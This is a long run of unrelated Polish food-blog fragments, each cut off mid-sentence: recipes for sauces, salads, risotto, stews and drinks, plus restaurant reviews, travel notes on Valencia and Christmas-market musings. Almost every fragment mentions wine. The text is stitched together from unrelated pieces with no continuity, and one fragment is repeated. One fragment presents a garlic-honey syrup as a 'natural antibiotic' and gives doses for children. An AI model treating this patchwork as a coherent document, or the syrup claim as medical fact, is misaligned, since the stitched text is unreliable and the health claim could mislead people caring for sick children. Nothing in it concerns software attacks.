cukru sok z 1 pomarańczy skórka otarta z 1/2 pomarańczy 1 łyżka startego świeżego imbiru 1/2 łyżeczki cynamonu 1 ziarenko ziela angielskiego 2 goździki 4 łyżki wody (lub wina) Wykonanie: W rondelku umieścić wszystkie składniki oprócz żurawiny (ziele i goździki utarte w moździerzu). Podgrzewać mieszając do rozpuszczenia cukru. Dodać żurawinę i gotować na małym ogniu około 15 minut. Przenieść

masą serową bądź makową. Wyjdą fajne kruche francuskie drożdżówki, np. z serem albo makiem. Po zwinięciu i upieczeniu na pewno będą prezentowały się godnie na stole. Do tego może wino? likier? może ulubiona herbata i jest miło. Palmiers Opcjonalnie w różnych wersjach możecie je (już ułożone na papierze do pieczenia) posmarować roztrzepanym jajkiem i czymś posypać, np. kruszonką, makiem

będą dobrze wyglądały. Plan już mam; po kolei wypróbowuję poszczególne elementy, choć idzie mi trochę jak po grudzie . Głównie dlatego, że ciągle mi czegoś brakuje; ale to akurat moja wina, mogłam wymyślić coś bardziej oczywistego niż połączenie buraków z kozim serem... Bo akurat to nie jest stałym elementem zasobów cukierniczej lodówki.  Skoro już narobiłam Wam apetytu na lody

pracy, udaliśmy się do rodziców C. Udało nam się złapać ostatnich gości; piosenki został odśpiewane wcześniej, a świeczki wygaszone. Na szczęście gløgg da się łatwo podgrzać, a napęczniałe od wina rodzynki po każdym podgrzewaniu smakują lepiej. W poniedziałek budzik zadzwonił o trzeciej trzydzieści; szybko wyłączyłam alarm i z powrotem wsunęłam się w rozgrzaną pościel. Pół godziny później nie miałam

Inspiracja do tego przepysznego bezglutenowego dania pochodzi z poniższego bloga: Wino Francja Kuchnia Moja modyfikacja polega na określonym gotowaniu kaszy jaglanej i oczywiście na dodatku w postaci kukurydzy, która ze względu na upodobania mojego dziecka, musi znaleźć się praktycznie w każdym daniu. Zapraszam! Składniki: 1/2 szklanki kaszy jaglanej 1 świeży ogórek garść pomidorków koktajlowych garść czarnych oliwek puszka kukurydzy

zostaniecie całkowicie oczarowani, tak jak my :-) Sposób na gotowanie fasoli zapożyczyłam z bloga Olgi Smile ->   klik , a do stworzenia mojego przepisu zainspirował mnie przepis z bloga Wino-Francja-Kuchnia ->  klik . Serdecznie zapraszam :-) * * * Składniki (proporcje dla 5 osób): 2 szklanki suchej białej fasoli typu jaś 2 cebule 3 ząbki czosnku 1 litr passaty pomidorowej około

banalną techniką polegająca na „odklejeniu” smaku z patelni, który pozostał po smażeniu głównego składnika (mięsa, drobiu, ryb lub warzyw). Deglasowanie to wlanie niewielkiej ilości płynu (wody, bulionu, śmietany lub wina) na patelnię pokrytą skarmelizowanymi resztkami, zagotowanie go, a następnie delikatne zeskrobywanie glazury za pomocą drewnianej łopatki. Otrzymujemy wówczas bardzo intensywną i pełną aromatu bazę do sosu. Po drugie, większość

słodką paprykę. Dusimy przez chwilę, aż składniki się połączą i dodajemy odcedzony makaron. 7. Całość delikatnie mieszamy i podajemy! SMACZNEGO! :) Spróbujcie również  makaronu z krewetkami na białym winie

dekorował sobie małą partię. Pomysł tych imprez upadł, bo były bardzo obciążające dla gospodyni, która cały dzień stała w kuchni i piekłą pierniki, bo goście raczej zajmowali się piciem wina i plotkowaniem, niż pomaganiem. W każdym razie te cynamonowe ciasteczka, to chyba najlepsza ze zjedzonych przeze mnie ostatnio pierniczków. Jeśli chodzi o pozostałe testowane ostatnio przepisy

mąki orkiszowej w połączeniu ze słodkimi figami, serem gorgonzola, prosciutto i rukolą … Danie na pięć plus, wszystkie składniki łączą się perfekcyjnie, tworząc niemal idealną całość. Do tego lampka wina i cudowna kolacja gotowa… Koniecznie musicie wypróbować ten przepis! Składniki na ciasto (na 1 tartę lub 6 małych tartaletek): 200 gramów mąki orkiszowej 1 jajko 1/2 kostki masła

bardzo otwarta. Nasz pierwszy wspólny wieczór (i pół nocy też, jeśli mam być zupełnie szczera) przegadałyśmy nie wiedząc, kiedy uciekły nam te wszystkie godziny. Z pewnością pomogła butelka wina, którą wypiłyśmy do kolacji, ale muszę przyznać, że dogadałyśmy się wyśmienicie. I chyba pierwszy raz jestem zadowolona z przymusu mieszkania z kimś zupełnie obcym... Okazuje się, że takie niespodzianki mogą

listy prezentów, czy też myślę jak udekorować mieszkanie, ale na razie kończy się wszystko na planach. Chyba trochę ostatnio brak mi motywacji i silnej woli. Wmawiam sobie, że to wina pogody, że może przez brak słońca, przez deszcz, wiatr i smog. Być może coś w tym jest, ale to nie zmienia faktu, że trzeba coś z tym zrobić Macie

najlepszej restauracji - ale akurat temu nie można się dziwić, bo szef kuchni pracował wcześniej w jednej z tych najlepszych. Prawdziwy luksus. Do tego odrobina pasującego do poszczególnych dań wina - i udało mi się wpędzić C. w stan całkiem poważnej zazdrości. Nie o mnie rzecz jasna; o jedzenie... Sami więc widzicie; dzieje się więcej, niż się spodziewałam, ale zamiast narzekać

świeżego imbiru startego na tarce o drobnych oczkach 500g ugotowanych buraczków (użyłam gotowych - 1 opakowanie), pokrojonych na mniejsze kawałki 500ml bulionu warzywnego 1 łyżka octu z czerwonego wina 1 łyżka wódki lub ginu sól, pieprz kwaśna śmietana lub jogurt grecki do przybrania szczypiorek do przybrania (opcjonalnie) oliwa do smażenia Przygotowanie:  W garnku rozgrzać oliwę i przesmażyć na niej

konfiturze z cebuli – śledzie w kiszonych cytrynach Przygotowanie : 30 minut Składniki: – 4-5 filetów śledziowych – 2 cebule – 3 łyżki oleju 2 łyżki octu winnego z czerwonego wina – 1/3 szklanki passaty pomidorowej – 1/3 szklanki rodzynek – 1 łyżka brązowego cukru – 4 liście laurowe, 4-5 goździków, 3-4 kulki ziela angielskiego, pieprz Przygotowanie : Śledzie

żeby się rozgościć ze wszystkimi zapachami, świecidełkami i resztą menażerii. Na głównej ulicy mojego miasta rozwieszono już milion światełek. Z wystaw kawiarenek i restauracji krzyczą zaproszenia o najlepszych grzanych winach, zimowych herbatach, kawach i sezonowych ciastach. Do wyboru do koloru! Ja wybrałam żółty, do tego trochę bieli i czerwieni...a to wszystko o zapachu skandynawskiej zimy, czyli szafranu

zjedzenia" Bartka Kieżuna , blogera i kulinarnego dziennikarza związanego z magazynem Kukbuk, w którym publikuje swoje przepisy. Jako że z wykształcenia jest antropologiem kultury, z zamiłowania gotuje, zna się na winie  i prowadzi galerię z polskim dizajnem, jego książka jest wyjątkowa. Nie jest to typowa książka kucharska, lecz cudowna wędrówka po Italii i to tej nie wszystkim znanej, niesztampowej

Ayuntamiento, gdzie odbywają się różne święta i defilady. W jedną z ostatnich niedziel było miało miejsce święto ryżu, gdzie można było skosztować oryginalnej Paelli, czy dobrego miejscowego wina, wiele restauracji miało swoje stoiska. Ludzie bawili się rzucając się ryżem i tańczyli do późnych godzin, świetna zabawa! polecamy wszystkim! Muzeum Sztuk Pięknych w Walencji Królewska Akademia Sztuk Pięknych San Carlos

Santo Cáliz) Najsłynniejsza z katedralnych kaplic, wykonana w stylu gotyckim. Kaplica przynosi katedrze światową sławę, ponieważ znajduję się w niej Święty Graal, ten sam z którego Chrystus pił wino, podczas ostatniej wieczerzy. Najpopularniejsza legenda o losach Świętego Graala łączy go właśnie z Walencją. Do Hiszpanii kielich miał trafić w III wieku za pośrednictwem św. Wawrzyńca. Do 1399 roku był

świąteczne kiermasze rozpoczęły się w tym roku, mam wrażenie, wyjątkowo wcześnie. A kiedy człowiek spędzi cały dzień wśród bombek, choinek i światełek, w powietrzu przesyconym zapachem cynamonu i grzanego wina, nie ma ochoty wynurzać się z tej świątecznej atmosfery. Oplata ona niczym najgęściejsza mgła; mimo, że teoretycznie się z niej wyplątało, pasma pozostają na skórze, włosach i ubraniu

ziarna kolendry lub kawy, albo pijąc mleko. Podobny efekt uzyskamy poprzez ssanie cukierków mentolowych lub goździkowych. W Prowansji (Francja) jako skuteczne antidotum na zapach czosnku poleca się picie czerwonego wina i jedzenie sera. Domowy syrop z czosnku   Domowy syrop z czosnku - naturalny antybiotyk, który każdy może przygotować.  W 1971 roku w jednym ze zburzonych klasztorów tybetańskich znaleziono

Lubella szczypta soli 1 łyżeczka oliwy 6 dojrzałych pomidorów /(lub) pomidory w puszce - 2 puszki tuńczyk w sosie własnym - 1 puszka 1/2 cebuli 2 łyżki octu winnego z czerwonego wina oliwa 20 listków świeżej bazylii + bazylia do ozdoby natka pietruszki sól pieprz garść tartego parmezanu Wykonanie: Makaron ugotować al dente wg przepisu ze szczyptą soli i łyżeczką oliwy

wszelkie tego typu specyfiki. Jeśli chodzi jednak o likiery i nalewki to zdecydowanie temat ten należy do mnie. Robię je dość rzadko ze względu na to, ze preferuje wino. Najczęściej takie likiery przygotowuję w okresie jesiennym czy zimowym. Dzisiaj przedstawię Wam przepis na likier, który zdecydowanie sprawdzi się w obecnej porze roku. A to wszystko przez dodatek przyprawy

więcej miejsc odwiedziłam, tym trudniej było mi wybrać to najlepsze :)   Do tej pory zwizytowałam lokale: WINESTONE w Hotelu Mercur Gdynia Centrum w Gdyni - recenzja TU: Kawa, ciasto i wino w WINESTONE nie tylko podczas Festiwalu Kawy BALTICA w Hotelu Villa Baltica w Sopocie - recenzja TU: Kameralnie, urokliwie i zacisznie w BALTICA w ramach Festiwalu Kawy   PRZYSTANEK KAWA

Zupa jabłkowa na słodko? no właśnie nie koniecznie. Dodatek wina i curry, masła, nadaje jej wytrawnego smaku. Zupa pochodzi z duńskich stołów i smakuje wybornie. Nie wiem z czym zajadają ją duńscy smakosze ale ja wybrałam makaron owsiany i to było znakomite posunięcie. Zapraszam na pyszną zupę. Duńska zupa z jabłek. ROZWIŃ I CZYTAJ DALEJ

pączki, z jabłkami Lukrowane pączki z serka mascarpone nadziewane marmoladą Pączki hiszpańskie Racuchy drożdżowe jak pączki Pączki z budyniem Pączki z serka mascarpone Puszyste racuchy drożdżowe Chrusty na winie Markizy z kremem ajerkoniakowym Pudrowane poduszeczki Sycylijskie cannoli z ricottą Faworki robione mikserem Oponki z twarogu Wydrukuj przepis The post Pączki jogurtowe – Fritule appeared first on Moje Wypieki

lubi, ale nie znam takich, którym by im nie smakowała. Do steka musi być oczywiście piwo – mają całkiem spory wybór piw polskich kraftowych i czeskich. Można też zamówić wino, także na butelki. W menu oprócz bugerów są też sałatki i zupy, ale raczej nie przychodzi się do burgerowni na sałatkę, a nawet jeśli, to i tak się kończy

oraz tradycyjne taco z kurczakiem, quacamole, salsą pomidorową i sosem mango chilli. Tym razem na warsztaty namówiłam swoje przyjaciółki, było to nasze pierwsze wspólne gotowanie nie zabrakło śmiechu i wina :) kuchnia to takie magiczne miejsce, gdzie wszyscy się jednoczą i potrafią szybko zapomnieć o problemach. Nam na warsztatach najbardziej zasmakowała zupa limonkowa z szarpanym kurczakiem wg przepisu Klaudii Budny

soczewicą i ziemniakami. Dodajemy wyciśnięty przez praskę czosnek, majeranek, paprykę słodką oraz sól i pieprz do smaku.  Ciasto rozwałkowujemy na cienki placek, za pomocą szklanki lub kieliszka do wina wykrawamy kółka. Na środek każdego kółka nakładamy farsz, ja uwielbiam, gdy farszu w pierogach jest bardzo dużo, więc staram się dawać jak najwięcej. Następnie pieroga składamy na pół

moich zapasach, suszone pomidory w zalewie oraz natkę pietruszki. Dodałam do niego również ser cheddar oraz cebulkę. Oczywiście całość przygotowałam na bazie bulionu. Tym razem nie dodawałam do dania wina, tylko zrobiłam jego uproszczoną wersję. Jeżeli szukalibyście kiedyś przepisu na klasyczne risotto lub z pomidorkami koktajlowymi i bazylią, robiłam takie na bazie przepisów Jamiego Oliwiera, zapraszam: Risotto bianco – Jamie

pomarańczowych pomidorów) 1 papryka czerwona 100 g sera feta 1 czerwona cebula 50 g (garść) zielonych oliwek Sos sałatkowy: 1/4 szklanki oliwy z oliwek 2 łyżeczki octu z czerwonego wina 2 łyżeczki oregano 1 łyżeczka miodu Sałatka z awokado wykonanie: Wszystkie składniki na sos dokładnie mieszamy. Pomidory kroimy w kostkę, paprykę w paseczki, cebulę w piórka, a awokado

około 1 garść 2-3 sztuki średnich buraków ser pleśniowy z niebieską pleśnią jabłko 4 łyżki ziaren słonecznika  3 łyżki oliwy 1 łyżka octu balsamicznego lub z czerwonego wina pół łyżeczki miodu sól, pieprz Buraki zawijamy w folię aluminiową i pieczemy do miękkości. U mnie około 40 minut w 200stopniach, ale wszystko zależy od tego jaka jest

gośćmi. Uwielbiam tego rodzaju imprezy; można zjeść æbleskiver , czyli naleśnikowe kuleczki (które za starych, dobrych czasów wypełnione był jabłkami, stąd właśnie te owoce w nazwie) i napić się grzanego wina z migdałami i cudownie napęczniałymi rodzynkami, zwanego gløgg . Dla dzieci jest kakao z bitą śmietaną i mnóstwo atrakcji: od stoisk z zabawkami, dekoracjami i smakołykami, poprzez Mikołaja i skrzaty

Kuchnia włoska jest jedną z najpopularniejszych kuchni na całym świecie. Na każdym kroku możemy spotkać restauracje serwujące potrawy rodem ze słonecznej Italii. Wśród najczęściej wybieranych potraw

opakowaniu: Krok 1. Na patelni rozgrzej oliwę. Dodaj gotową mieszankę The Green Woodpecker Trill i smaż na małym ogniu przez około 2 minuty. Krok 2. Następnie dodaj białe wino (pominęłam) i mieszaj aż do całkowitego wchłonięcia płynu. Dalej podlewaj risotto bulionem – sukcesywnie po 1 chochelce – aż do ponownego wchłonięcia płynu. Krok 3. Na koniec dodaj świeżo starty parmezan

Piękne duże kawałki mięsa zanurzone w sosie i podane z ziemniakami w mundurkach, to lubimy najbardziej. Kavarma to tradycyjny bułgarski gulasz w wieprzowiny duszonej w czerwonym winie z dużą ilością warzyw. Polecam gorąco bardzo sycące i pyszne danie na chłodne jesienne dni i zimowe mrozy. Kavarma - bułgarski gulasz z łopatki wieprzowej. ROZWIŃ I CZYTAJ DALEJ

łyżki dziennie, dzieciom zaś 2x po 2 łyżeczki dziennie (w infekcji podwajamy ilość). Aby zniwelować ostry zapach czosnku warto przegryźć natkę pietruszki, ale ponoć lampka czerwonego wina też działa 😜 To co?! Smacznego i na zdrowie! * miód lipowy- 200 g * sok z cytryny- 200 ml * czosnek- 4 ząbki czosnku Ząbki czosnku przecisnąć przez praskę i wymieszać z resztą składników. Przechowywać

Sałatka z rukolą i szynką parmeńską będzie doskonała, jako lekka kolacja. Idealnie będzie pasować do lekkiego wina wypitego we dwoje Dla niektórych z Was połączenie szynki parmeńskiej, parmezanu oraz suszonych pomidorów może być zbyt intensywne, bowiem wszystkie składniki mają dość wyraziste smaki. Ja natomiast takie połączenia lubię. Jeżeli nie przepadacie za suszonymi pomidorami, możecie je zastąpić pomidorkami koktajlowymi

liscie laurowe kilka ziaren ziela angielskiego 1/3 łyżeczki zmielonego kminku 1/3 łyżeczki imbiru zmielonego lub 2 cm otartego świeżego sól pieprz masło klarowane 1 szklanka wody 1/3 szklanki wina szczypiorek Do rondla dajemy masło i pokrojoną cebulę obsmażamy i wyjmujemy na talerz. Do tego samego rondla dodajemy masła i wrzucamy pokrojone mięso.Obsmażamy. Dodajemy usmażoną cebule i resztę składników

cukier do smaku – od ½ do 1 łyżeczki 1/2 łyżeczki grubo zmielonego pieprzu 1 łyżka granulowanego czosnku albo 4 ząbki czosnku przeciśniętego przez praskę 1-2 łyżki octu z czerwonego wina wymieszanego z octem balsamicznym MOJE DODATKI (NA 3 PIZZE) 1 opakowanie prosciutto 2 kule sera mozzarella 3 dojrzałe figi 5 papryk peperoni z zalewy świeża bazylia oliwa z przeciśniętym

salsa meksykańska: 1 cebula 3 niewielkie papryki najlepiej żółta, zielona, czerwona 1 mała papryczka chili 2 ząbki czosnku 1 kg pieczonych pomidorów najlepiej lima 3 łyżki octu z czerwonego wina 1 łyżeczka suszonego oregano 1 łyżeczka słodkiej papryki w proszku 1/4 łyżeczki pieprzu 1 łyżeczka cukru 1 płaska łyżeczka soli kilka łyżek oleju Przygotowanie: Śledzie moczymy przez

Zapraszam Was dzisiaj na recenzję książki Małgorzaty Kaczmarek “Zioła dla smaku, zdrowia i urody” . We wspomnianej książce znajdziecie 150 przepisów na lecznicze napary, wina, nalewki, ziołowe dania i naturalne kosmetyki. Autorką książki jest Małgosia która prowadzi bloga “Ziołowa Wyspa”. Książka “Zioła dla smaku, zdrowia i urody” to poradnik dla osób, które chcą powrócić

Składniki: 600 g gulaszu z dzika 2 cebule 250 g grzybów 1,5-2 szklanki bulionu masło klarowane do smażenia 1 łyżka mąki pszennej sól, pieprz marynata 100 ml wina czerwonego wytrawnego 1 łyżeczka suszonego rozmarynu 4 ziarna jałowca 3 ziarenka ziela angielskiego 2 liście laurowe pieprz młotkowany Wykonanie: Mięso umyć, osuszyć i pokroić na mniejsze kawałki

Teraz przechodzimy do układania naszego tapas. Na kromkę bagietki kładziemy plaster sera camembert. Następnie układamy naszą podsmażoną cebulkę i anchois. Gotowe. Do naszego tapas z anchois możemy podać czerwone wino. Koszt: 22 zł (6 kanapek) Przygotowanie: 30 minut Tapas z anchois Tapas z anchois Tapas z anchois Tapas z anchois Artykuł Tapas z anchois pochodzi z serwisu KuchennyViral.pl

pogaduszki odbyły się w tygodniu imbirowym. Nie mogłam nie wykorzystać tego pomysłu :) Składniki: 1 kg skrzydełek 4 łyżki płynnego miodu 4 łyżki ciemnego sosu sojowego  4 łyżki białego wina wytrawnego 2 cm startego imbiru sól Wykonanie: Skrzydełka umyć, osuszyć i obciąć końcówki. Oprószyć solą. Składniki na marynatę wymieszać. Skyrzdełka obtoczyć dokładnie w marynacie. Odstawić na kilka godzin

kolejne 20minut. Podawać samego z krakersami bądź jako dodatek. Pieczony patison z nadzieniem serowym Smacznego! Pieczony patison z nadzieniem serowym Do nadzienia serowego można też dodać 50 ml białego wina. The post Pieczony patison z nadzieniem serowym appeared first on MeCooks

dań włoskich, jak głosi legenda ten rodzaj spaghetti gotowały dziewczyny zatrudnione w branży rozrywkowej-bo czas to pieniądz. Z teraz wstawcie wodę na makaron, nalejcie sobie kieliszek dobrego,czerwonego wina....kilka minut i jest kolacja. SKŁADNIKI:2-3 porcje ok. 400 g. spaghetti 3-4 ząbki czosnku kilka czarnych oliwek oliwa z oliwek 5-6 filecików anchois pepperoni

włoskich ● 1 łyżka miodu ● 1 łyżka masła ● 200 g sera Lazur (lub sera Saint Agur) ● ½ cytryny Sos winegret: ● 6 łyżek oliwy z oliwek ● 3 łyżki octu balsamicznego z białego wina (?lub octu jabłkowego) ● pieprz, sól Przygotowanie : Przygotuj sos winegret mieszając starannie wszystkie składniki. Orzechy grubo posiekaj. Na małej patelni rozpuść masło i miód. Wrzuć orzechy i podgrzewaj

takich, jakie akurat miałam na stanie w szufladzie „cukierniczej”. Przepis dopracowałam, gdyz za pierwszym razem ciasteczka wyszły mi zbyt kruche i łatwo sie łamały. Smakują wybornie do wina, piwa. Z deską serów wystarczają za przekąskę. Sami się przekonajcie.   Podpatrzone na jesiennym spacerze Wiewiórki też coś gryzą…Może nie akurat ciasteczka rozmarynowe, ale też im smakuje

czasami mnie po prostu nudzi – za to ta smakuje zupełnie inaczej. Warto wykorzystać ostatnie kurki i skusić się na kawałek jesiennej kurkowej pizzy z kieliszkiem białego, wytrawnego wina – pasuje do niej doskonale! Pizza bianca z kurkami – ciasto: 1,5 szklanki mąki pszennej (najlepiej włoskiej 00, ale może być zwykła pszenna) ½ szklanki ciepłej wody 1 łyżka oliwy

Policzki i wolnowar to małżeństwo idealne. Robiłam już je w pomarańczach, w czekoladzie, czas na coś wytrawnego czyli policzki w porto, czerwonym słodkim winie. Zapraszam na to danie bo warto. Policzki są już prawie wszędzie dostępne, te kupiłam w jednym z popularnych supermarketów. Czytaj więcej

cukier do smaku – od ½ do 1 łyżeczki 1/2 łyżeczki grubo zmielonego pieprzu 1 łyżka granulowanego czosnku albo 4 ząbki czosnku przeciśniętego przez praskę 1-2 łyżki octu z czerwonego wina wymieszanego z octem balsamicznym

ryżem lub makaronem ryżowym, polecam! Scroll down for recipe in English Kurczak orientalny z ananasem i papryką (4 porcje) Składniki: ¼ szklanki sosu sojowego 2 łyżki octu z białego wina 1 łyżeczka startego imbiru 2 ząbki czosnku, drobno posiekanego 1 łyżka mąki kukurydzianej 2-3 łyżeczki brązowego cukru 2 łyżki oleju sezamowego 500 g piersi z kurczaka, pokrojonych

cepeliach można wykorzystać mięso czy warzywa. Nie ma na to jakiegoś specjalnego przepisu na to. Będąc tam musimy spróbować litewskich serów. W Niemczech dominującym napojem jest piwo i wino . Tutaj natomiast miód pitny i litewskie nalewki . Kwas chlebowy cieszy się dużą popularnością na Litwie i tu w Polsce. Jest to trunek bezalkoholowy. Charakteryzują się one głęboki aromatem i smakiem

posypką, wsypujemy lód i wlewamy gin.Dodajemy sok żurawinowy i tonik .Całość dopełnia dekoracja.Drin pyszny i nieskomplikowany.           Kochani  zapraszam was do   Znajdziecie tu wina musujące, deserowe, gronowe oraz wermuty,brandy i likiery

łyżki posiekanej natki pietruszki 2 pełne łyżki posiekanego szczypiorku 2 jajka L (dla 4 osób- 4 jajka) HISZPAŃSKI VINEGRET 5 łyżek oliwy extra virgin 2 łyżki octu z czerwonego wina 1 duży ząbek czosnku 1 płaska łyżeczka mielonego kuminu 1 pełna łyżeczka wędzonej hiszpańskiej papryki – słodkiej lub ostrej 1 niepełna łyżeczka soli 1/3 łyżeczki mielonego pieprzu

Polędwica wieprzowa to jedno z łatwiejszych i smaczniejszych mięs. Zamarynowane, lekko podsmażone, z dodatkiem czerwonego wina niemal rozpływa się w ustach... Ilość porcji:  cztery lub sześć mniejszych

Przepisów na hummus jest bardzo dużo.. jedni lubią klasyczny, inni wolą na ostro i z dużą ilością dodatków. Jest to niesamowita przekąska na spotkanie ze znajomymi zarówno do wina, jak i przy piwie. Moja wersja charakteryzuje się wyraźnym smakiem pomidorów i cytryny.. uzależniająca i zabójczo smaczna :-) No tak, i robi się go w pięć minut

Foccacia to włoski chlebek, który przygotowywany jest na bazie ciasta drożdżowego. Świetnie sprawdza się jako przystawka lub jako dodatek do piwa lub wina. Przygotowanie chlebka nie jest trudne, chociaż wyrastanie ciasta trwa kilka godzin. Mimo to, smak jest obłędny i zapewniam, że będzie Wam smakować. Foccacia świetnie smakuje z oliwą z oliwek. Składniki: ciasto – 2 Czytaj więcej → Artykuł

roku w barze w Paryżu. Jego nazwa pochodzi od francuskiego działka kalibru 75 mm (francuska armatka) – ten drink daje takiego samego kopa jak to działko Składniki: 60 ml wina musującego 30 ml soku z cytryny 30 ml ginu 1 łyżka cukru pudru Wszystko mieszam w shakerze. Podawać z kostkami lodu i z plastrem lub dwoma cytryny.   Artykuł

Takie szybkie dania inspirowane kuchnią azjatycką są idealne na szybki i smaczny obiad. Do oryginalnego sosu teriyaki używa się Mirin czyli rodzaj ryżowego wina ale niestety zapomniałam kupić będąc ostatnio w azjatyckim markecie. Ale znalazłam inny przepis na sos Teriyaki który smakuje wyśmienicie. Z podanego przepisu wychodzi trochę więcej sosu niż potrzeba na to danie, ale można go przechowywać

Mieszamy codziennie, bo cytryna puści sok i u góry może zebrać się płyn. Aplikujemy po 1-2 łyżki dziennie. Dodajemy do ciepłej (nie gorącej!) herbaty, grzanego piwa, wina, płatków, muesli, solo na kanapki. Cieszymy się jesienią i brakiem Bestii na łożu boleści! Post Jesień pachnąca miodem pojawił się poraz pierwszy w LADY KITCHEN

świta, że górale jednak dalej od morza to dajcie śliwowicę. Na Krupówkach dostaniecie herbatę podłego gatunku z dolewką paliwa rakietowego i podłej wiśniówki. Taka mała dygresja – nie pijcie wina grzanego na Krupówkach. Uwierzcie mi i nie pijcie. Wróćmy do naszej góralskiej herbatki. Jest to wynalazek wybitnie rozgrzewający, niektórzy przypisują mu właściwości magiczne oraz znam jedną panią, która po spożyciu

choy. Oprószyć solą i smażyć na średnim ogniu po około 5 minut z obu stron (do lekkiego przyrumienienia). Dodać na patelnię 3 łyżki gorącej wody (lub bulionu, lub białego wina),, natychmiast przykryć szczelnie pokrywką i dusić 3 minuty. Sos sojowy wymieszać z sokiem cytrynowym, cukrem i olejem sezamowym. Polać sosem gorącą kapustę i podawać szybko z azjatyckim makaronem

woku pokrojony w kostkę boczek, dodaj pokrojone w kostkę krewetki, zielony groszek, 2 grzyby shitake i marchewkę. Po chwili smażenia dodaj ok. 100 ml bulionu oraz 2 łyżki wina shaoxing (możesz je zastąpić cherry). Popieprz, posól, wyjmij z woka i przetrzyj naczynie ręcznikiem papierowym. Do rozgrzanego woka wbij jajko, a gdy będzie na wpół ścięte, dodaj ugotowany wcześniej ryż

dobra zupa na każdą niepogodę i nie tylko. Nie potrzeba zbyt wiele zachodu, żeby sobie przygotować tą smaczną zupę.  Prosty przepis bez wydziwiania z dodawaniem koniaku czy białego wina...  Potrzebujemy włoszczyznę 500-750 g  w słupkach, cebulę 6-8 szt., ziemniaki 5 szt., sól ~1 płaska  łyżka, ziele 5 ziaren,liść 5 szt., pieprz

kolejne 30 minut. Góra nie powinno się w tej temperaturze zbytnio przypiec. 21. Po upływie czasu pieczenia, wyłączamy piekarnik i uchylamy drzwiczki blokując je przed zamknięciem np. korkiem od wina lub drewnianą łyżką. 22. Pozostawiamy sernik w piekarniku na ok 2,5 godziny do wystygnięcia. Po tym czasie wyciągamy go i dajemy mu jeszcze ok 30 minut. 23. Jeśli

problemu kupicie też przez internet.  W te jesienne dni zróbcie ją koniecznie, Wasza rodzinka będzie zachwycona 😍. Papryka - węgierska przyprawa Papryka jest podstawową przyprawą kuchni węgierskiej oraz, oprócz wina Tokaju i salami Pick (pochodzącym notabene z Szegedu), jednym z najbardziej znanych węgierskich produktów spożywczych. Jest nazywana czerwonym złotem, ponieważ przynosi duże dochody z eksportu. Nizina Węgierska z żyzną glebą

seconds, cut the twine, cut the meat into thick pieces, 1 cm wide minimum. Na talerzu układamy dwa, trzy plastry mięsa i kilka łyżek sałatki, do kieliszka wlewamy wino, u mnie różowe i smacznego! Prosta, a zarazem wieloskładnikowa kolacja gotowa " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Najlepiej smakuje w towarzystwie gości – im ich więcej tym lepiej

cukinia 1/2 zielnej papryki 1 średnia czerwona cebula 1 puszka czerwonej fasoli 1 puszka kukurydzy 1 karton sosu pomidorowego 1 puszka pomidorów krojonych żółty ser 1 kieliszek czerwonego, wytrawnego wina sól, pieprz, pepperoncino, cynamon, papryka słodka, ostra, chili INGREDIENTS: 0,5 kg broth meat vegetables from the broth (carrot, parley root, celery root) 1 medium zucchini 1/2 green peppers

usmażeniu wykładać na ręcznik papierowy, aby odsączyć z nadmiaru tłuszczu. Podawać przyprawione grubą solą. Papryczki zjadamy trzymając za ogonek. Ogonka nie zjadamy oczywiście 😊 Jako dodatek proponuję dobre białe wino, które fantastycznie harmonizuje ze smakiem papryczek. Co któraś papryczka może trafić się ostra, więc przy stole momentami robi się bardzo wesoło 😊 Spotkaliście się już z tymi papryczkami

urzędzie stanu cywilnego. Uważam takie rozwiązanie za znakomite - nikt nie czuje się pominięty, a impreza nie będzie kosztowała trzy razy tyle, ile zakładaliśmy. U nas były kanapki, musujące wino (ekologiczne, porzeczkowe i agrestowe - super pyszne) i tort, a na koniec zwiedzanie pałacu, w którym wszystko się odbywało. Pogoda była piękna, goście więc rozpierzchli się po parku i podwórzu, nigdzie

najlepsze owoce morza, gdzie się udać, aby zjeść najlepsze arancini w okolicy (przepis na bezglutenową wersję tego sycylijskiego przysmaku już niedługo), która plaża jest najpiękniejsza. Gdzie dostać najlepsze wino z miejscowej winiarni, gdzie nalewają je prosto z beczek do własnych butelek lub baniaków. W której knajpie stołują się lokalesi, a która jest typową miejscówką dla turystów. To również odkrywanie

daniem serwowanym na specjalne okazje i romantyczne kolacje. Połączenie fig, koziego sera, miodu i tymianku jest tak hipnotyzujące, że nikt nie mógł się jemu oprzeć! Do tego butelka dobrego wina i z powodzeniem można było zdobyć swoją wybrankę/swojego wybranka w myśl zasady: przez żołądek do serca . Ale nawet jeśli nie potrzebujecie robić popisu swoich kulinarnych zdolności

Mój mąż bardzo lubi wątróbkę drobiowa, dlatego oprócz tradycyjnie smażonej na patelni staram się ją robić mu też w formie pasty na kanapki. Tym razem do wątróbki użyłam wina, kaparów i filecików anchois co dodało zmieniło jej smak na bardziej wyrazisty. Polecam, bo pastę robi się szybko i może być bardzo fajnym elementem ekspresowej przekąski dla gości czy kolacji

skusicie się na małą grzaneczkę z grzybami? Użyłam do niej kurek i podgrzybków, które w lesie znalazł mąż. Wyszła pyszna kolacja. Grzyby, ser i grzanki... a do tego dobre wino. Nie trzeba nic więcej. Czytaj więcej

konfiturą figową warto posypać dodatkowo orzechami włoskimi. Jeśli nie lubicie kozich serków, to w ich zastępstwie równie pyszne będą sery pleśniowe lub śmietankowe do smarowania. Do tego lampka wina i pyszna, prosta kolacja gotowa. Konfitura z fig (dżem figowy): 1 kg świeżych fig 3/4 szklanki cukru trzcinowego 1 laska wanilii lub 2 łyżeczki ekstraktu z ziarenkami 2 łyżki soku

razem mam coś dla fanów podjadania pyszny przekąsek w czasie oglądania meczów lub filmów. Dip serowo-piwny jest aromatyczny i idealny do wina lub piwa. Dobrze zblendowany jest idealnym dodatkiem do krakersów, tacos, czy paluszków. Można go podawać razem z selerem naciowym, czy też marchewką. Sos worchestershire i musztarda dijon w nim zawarte, a także tabasco nadają bardzo ciekawych

chrupkość pieczywa i słony ser przełamany słodyczą figi. Pomyślałam, że można jeszcze wzbogacić smak kanapki o karmelizowana gruszkę. Efekt- genialny smak. Do tego lampka czerwonego lub białego wina i jestem w siódmym niebie. Zamiast sera można użyć szynki Prosciutto. Sami skosztujcie. Składniki   2 gruszki 2 figi ser pleśniowy- u mnie Lazur Niebieski kilka kromek chleba tostowego lub długiej

